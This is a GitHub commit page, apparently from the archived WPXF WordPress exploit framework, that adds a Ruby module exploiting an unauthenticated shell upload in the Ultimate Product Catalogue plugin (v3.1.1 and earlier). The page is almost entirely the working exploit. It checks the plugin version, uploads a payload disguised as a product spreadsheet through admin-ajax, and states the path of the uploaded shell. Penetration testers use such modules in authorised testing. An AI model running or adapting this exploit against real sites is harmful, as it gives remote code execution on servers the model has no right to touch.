Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit a19d812

Browse files
committed
Add Ultimate Product Catalogue <= v3.1.1 unauthenticated shell upload
1 parent d1f34af commit a19d812

File tree

1 file changed

+45
-0
lines changed

1 file changed

+45
-0
lines changed
Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
class Wpxf::Exploit::UltimateProductCatalogueShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ShellUpload
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Ultimate Product Catalogue <= v3.1.1 Unauthenticated Shell Upload',
9+
author: [
10+
'LUCA ERCOLI ', # Discovery and disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '7939'],
15+
['URL', 'https://blog.seeweb.it/wordpress-ultimate-product-catalogue-vulnerability/']
16+
],
17+
date: 'Apr 22 2015'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_changelog('ultimate-product-catalogue', 'readme.txt', '3.1.2')
23+
end
24+
25+
def uploader_url
26+
wordpress_url_admin_ajax
27+
end
28+
29+
def payload_body_builder
30+
builder = Utility::BodyBuilder.new
31+
builder.add_file_from_string('Products_Spreadsheet', payload.encoded, payload_name)
32+
builder
33+
end
34+
35+
def upload_request_params
36+
{
37+
'action' => 'widgets_init',
38+
'Action' => 'UPCP_AddProductSpreadsheet'
39+
}
40+
end
41+
42+
def uploaded_payload_location
43+
normalize_uri(wordpress_url_plugins, 'ultimate-product-catalogue', 'product-sheets', payload_name)
44+
end
45+
end

0 commit comments

Comments
 (0)